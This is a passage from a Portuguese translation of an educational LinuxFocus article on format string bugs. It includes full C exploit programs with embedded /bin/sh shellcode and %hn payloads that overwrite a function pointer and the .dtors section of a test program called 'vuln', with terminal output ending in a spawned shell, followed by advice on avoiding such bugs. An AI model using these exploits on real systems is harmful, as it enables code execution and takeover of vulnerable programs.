Contudo, na realidade, o programa vulnerável não é tão simpático com o exemplo anterior. Introduziremos um método que nos permitirá pôr o código da shell na memória e devolver o seu endereço exacto (o que significa que não é adicionado mais nenhum NOP ao principio do código da shell).

A ideia baseia-se em chamadas recursivas à função exec*():

/* argv.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>


main(int argc, char **argv) {

  char **env;
  char **arg;
  int nb = atoi(argv[1]), i;

  env    = (char **) malloc(sizeof(char *));
  env[0] = 0;

  arg    = (char **) malloc(sizeof(char *) * nb);
  arg[0] = argv[0];
  arg[1] = (char *) malloc(5);
  snprintf(arg[1], 5, "%d", nb-1);
  arg[2] = 0;

  /* printings */
  printf("*** argv %d ***\n", nb);
  printf("argv = %p\n", argv);
  printf("arg = %p\n", arg);
  for (i = 0; i<argc; i++) {
    printf("argv[%d] = %p (%p)\n", i, argv[i], &argv[i]);
    printf("arg[%d] = %p (%p)\n", i, arg[i], &arg[i]);
  }
  printf("\n");

  /* recall */
  if (nb == 0)
    exit(0);
  execve(argv[0], arg, env);
}
A entrada é um inteiro nb o qual o programa chamará recursivamente a si próprio nb+1 vezes:
>>./argv 2
*** argv 2 ***
argv = 0xbffff6b4
arg = 0x8049828
argv[0] = 0xbffff80b (0xbffff6b4)
arg[0] = 0xbffff80b (0x8049828)
argv[1] = 0xbffff812 (0xbffff6b8)
arg[1] = 0x8049838 (0x804982c)

*** argv 1 ***
argv = 0xbfffff44
arg = 0x8049828
argv[0] = 0xbfffffec (0xbfffff44)
arg[0] = 0xbfffffec (0x8049828)
argv[1] = 0xbffffff3 (0xbfffff48)
arg[1] = 0x8049838 (0x804982c)

*** argv 0 ***
argv = 0xbfffff44
arg = 0x8049828
argv[0] = 0xbfffffec (0xbfffff44)
arg[0] = 0xbfffffec (0x8049828)
argv[1] = 0xbffffff3 (0xbfffff48)
arg[1] = 0x8049838 (0x804982c)

Verificamos imediatamente que os endereços alocados para o arg e argv não se alteram mais após a segunda chamada. Vamos utilizar esta propriedade na nossa exploração. Só temos de modificar ligeiramente o nosso programa build de maneira a que se chame a si próprio antes de chamar o vuln. Então, obtemos o endereço exacto de argv e o do nosso código da shell.:

/* build2.c */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

char* build(unsigned int addr, unsigned int value, unsigned int where)
{
  //Same function as in build.c
}

int
main(int argc, char **argv) {

  char *buf;
  char shellcode[] =
     "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
     "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
     "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  if(argc < 3)
    return EXIT_FAILURE;

  if (argc == 3) {

    fprintf(stderr, "Calling %s ...\n", argv[0]);
    buf = build(strtoul(argv[1], NULL, 16),  /* adresse */
        &shellcode,
        atoi(argv[2]));              /* offset */

    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
    execlp(argv[0], argv[0], buf, &shellcode, argv[1], argv[2], NULL);

  } else {

    fprintf(stderr, "Calling ./vuln ...\n");
    fprintf(stderr, "sc = %p\n", argv[2]);
    buf = build(strtoul(argv[3], NULL, 16),  /* adresse */
        argv[2],
        atoi(argv[4]));              /* offset */

    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));

    execlp("./vuln","./vuln", buf, argv[2], argv[3], argv[4], NULL);
  }

  return EXIT_SUCCESS;
}

O truque é que nós sabemos o que chamar segundo o número de argumentos que o programa recebeu. Para iniciar a nossa exploração, damos somente ao build2 o endereço para o qual queremos escrever e o comprimento. Já não temos de dar mais o valor visto que é avaliado nas chamadas sucessivas.

Para termos sucesso, precisamos de montar a mesma estrutura da memória nas diferentes chamadas do build2 e depois do vuln (é por isso que chamamos a função build(), no sentido de utilizar a mesma impressão digital da memória):

>>./build2 0xbffff634 3
Calling ./build2 ...
adr : -1073744332 (bffff634)
val : -1073744172 (bffff6d4)
valh: 49151 (bfff)
vall: 63188 (f6d4)
[6öÿ¿4öÿ¿%.49143x%3$hn%.14037x%4$hn] (34)
Calling ./vuln ...
sc = 0xbffff88f
adr : -1073744332 (bffff634)
val : -1073743729 (bffff88f)
valh: 49151 (bfff)
vall: 63631 (f88f)
[6öÿ¿4öÿ¿%.49143x%3$hn%.14480x%4$hn] (34)
0 0xbffff867
1 0xbffff86e
2 0xbffff891
3 0xbffff8bf
4 0xbffff8ca
helloWorld() = 0x80486c4
accessForbidden() = 0x80486e8

before : ptrf() = 0x80486c4 (0xbffff634)
buffer = [6öÿ¿4öÿ¿000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000
00000000000] (127)
after : ptrf() = 0xbffff88f (0xbffff634)
Segmentation fault (core dumped)

Porque é que isto não trabalha? Dissemos que tínhamos de construir a cópia exacta da memória entre as duas chamadas ... e não o fizemos! O argv[0] (o nome do programa) alterou-se. O nosso programa é primeiro chamado build2 (6 bytes) e depois o vuln (4 bytes). Existe uma diferença de 2 bytes, o que é exactamente o valor que pode reparar no exemplo acima. O endereço do código da shell durante a segunda chamada do build2 é dado por sc=0xbffff88f mas o conteúdo do argv[2] no vuln20xbffff891: os nossos 2 bytes. Para resolver isto, basta renomear o nosso build2 para somente 4 letras, por exemplo bui2:

>>cp build2 bui2
>>./bui2 0xbffff634 3
Calling ./bui2 ...
adr : -1073744332 (bffff634)
val : -1073744156 (bffff6e4)
valh: 49151 (bfff)
vall: 63204 (f6e4)
[6öÿ¿4öÿ¿%.49143x%3$hn%.14053x%4$hn] (34)
Calling ./vuln ...
sc = 0xbffff891
adr : -1073744332 (bffff634)
val : -1073743727 (bffff891)
valh: 49151 (bfff)
vall: 63633 (f891)
[6öÿ¿4öÿ¿%.49143x%3$hn%.14482x%4$hn] (34)
0 0xbffff867
1 0xbffff86e
2 0xbffff891
3 0xbffff8bf
4 0xbffff8ca
helloWorld() = 0x80486c4
accessForbidden() = 0x80486e8

before : ptrf() = 0x80486c4 (0xbffff634)
buffer = [6öÿ¿4öÿ¿0000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000
000000000000000] (127)
after : ptrf() = 0xbffff891 (0xbffff634)
bash$

Ganhámos Novamente : Trabalha muito melhor deste modo ;-) O eggshell está na pilha e alterámos o endereço apontado por ptrf para o novo código da shell. Claro, que só pode acontecer se a pilha for executável.

Mas vimos que a formatação de strings permitem-nos escrever em qualquer sítio: adicionemos um destruidor ao nosso programa na secção .dtors:

>>objdump -s -j .dtors vuln

vuln:     file format elf32-i386

Contents of section .dtors:
80498c0 ffffffff 00000000                    ........
>>./bui2 80498c4 3
Calling ./bui2 ...
adr : 134518980 (80498c4)
val : -1073744156 (bffff6e4)
valh: 49151 (bfff)
vall: 63204 (f6e4)
[ÆÄ%.49143x%3$hn%.14053x%4$hn] (34)
Calling ./vuln ...
sc = 0xbffff894
adr : 134518980 (80498c4)
val : -1073743724 (bffff894)
valh: 49151 (bfff)
vall: 63636 (f894)
[ÆÄ%.49143x%3$hn%.14485x%4$hn] (34)
0 0xbffff86a
1 0xbffff871
2 0xbffff894
3 0xbffff8c2
4 0xbffff8ca
helloWorld() = 0x80486c4
accessForbidden() = 0x80486e8

before : ptrf() = 0x80486c4 (0xbffff634)
buffer = [ÆÄ000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000
0000000000000000] (127)
after : ptrf() = 0x80486c4 (0xbffff634)
Welcome in "helloWorld"
bash$ exit
exit
>>

Aqui, não é criado nenhum coredump ao sair do destruidor. Isto deve-se ao facto do código da shell conter uma chamada exit(0).

Em conclusão, como último presente, aqui está o build3.c que também dá a shell, mas passado de uma variável de ambiente:

/* build3.c */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

char* build(unsigned int addr, unsigned int value, unsigned int where)
{
  //Même fonction que dans build.c
}

int main(int argc, char **argv) {
  char **env;
  char **arg;
  unsigned char *buf;
  unsigned char shellcode[] =
     "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
       "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  if (argc == 3) {

    fprintf(stderr, "Calling %s ...\n", argv[0]);
    buf = build(strtoul(argv[1], NULL, 16),  /* adresse */
        &shellcode,
        atoi(argv[2]));              /* offset */

    fprintf(stderr, "%d\n", strlen(buf));
    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
    printf("%s",  buf);
    arg = (char **) malloc(sizeof(char *) * 3);
    arg[0]=argv[0];
    arg[1]=buf;
    arg[2]=NULL;
    env = (char **) malloc(sizeof(char *) * 4);
    env[0]=&shellcode;
    env[1]=argv[1];
    env[2]=argv[2];
    env[3]=NULL;
    execve(argv[0],arg,env);
  } else
  if(argc==2) {

    fprintf(stderr, "Calling ./vuln ...\n");
    fprintf(stderr, "sc = %p\n", environ[0]);
    buf = build(strtoul(environ[1], NULL, 16),  /* adresse */
        environ[0],
        atoi(environ[2]));              /* offset */

    fprintf(stderr, "%d\n", strlen(buf));
    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
    printf("%s",  buf);
    arg = (char **) malloc(sizeof(char *) * 3);
    arg[0]=argv[0];
    arg[1]=buf;
    arg[2]=NULL;
    execve("./vuln",arg,environ);
  }

  return 0;
}

Mais uma vez, visto que este ambiente está na pilha, precisamos de ter cuidado para não modificar a memória (por exemplo alternando a posição das variáveis e dos argumentos) O nome binário deve ter o mesmo número de caracteres que o nome do programa vulnerável vuln tem.

Aqui, escolhemos utilizar a variável extern char **environ para definir os valores que precisamos:

  1. environ[0]: contém o código da shell;
  2. environ[1]: contém o endereço onde esperamos escrever;
  3. environ[2]: contém o comprimento.
Deixamo-lo, a jogar com ... este (longo) artigo já muito preenchido com muito código e programas de teste.  

Conclusão : Como evitar bugs de formatação ?

Como mostrado no artigo, o principal problema com este bug provém da liberdade dada ao utilizador para construir a sua própria string de formatação. A solução para evitar tal falha é simples: Nunca deixe um utilizador fornecer a seu própria string de formatação! Muitas vezes isto simplesmente significa inserir uma string "%s" quando funç�es como o printf(), o syslog(), ..., são chamadas. Se realmente não conseguir evitar isto, então tem de verificar cuidadosamente todas as entradas dadas pelo utilizador muito cuidadosamente.
 

Agradecimentos

Os autores agradecem a Pascal Kalou Bouchareine pela sua paciência (ele teve de encontrar porque é que a nossa exploração com o código da shell na pilha não funcionava ... e também o porquê desta mesma pilha não estar executável), suas ideias (mais particularmente pelo truque exec*()), pelos seus encorajamentos ... mas também pelo seu artigo acerca de bugs de formatação o qual causou, em adição ao nosso interesse na questão, uma intensa agitação cerebral ;-)

 

Links


Notas de Rodapé

... commands1
a palavra command significa aqui tudo o que afecta a formatação de strings: o tamanho, a precisão, ...
... bytes2
o -1 provém do último caracter reservado para o '\0'.

 

Forma de respostas para este artigo

Todo artigo tem sua própria página de respostas. Nesta página você pode enviar um comentário ou ver os comentários de outros leitores:
 página de respostas 

Páginas Web mantidas pelo time de Editores LinuxFocus
© Frédéric Raynal, Christophe Blaess, Christophe Grenier, FDL
LinuxFocus.org

Clique aqui para reportar uma falha ou para enviar um comentário para LinuxFocus
Informação sobre tradução:
fr -> -- Frédéric Raynal, Christophe Blaess, Christophe Grenier
fr -> en Frédéric
en -> en Lorne Bailey
en -> pt Bruno Sousa

2001-09-28, generated by lfparser version 2.17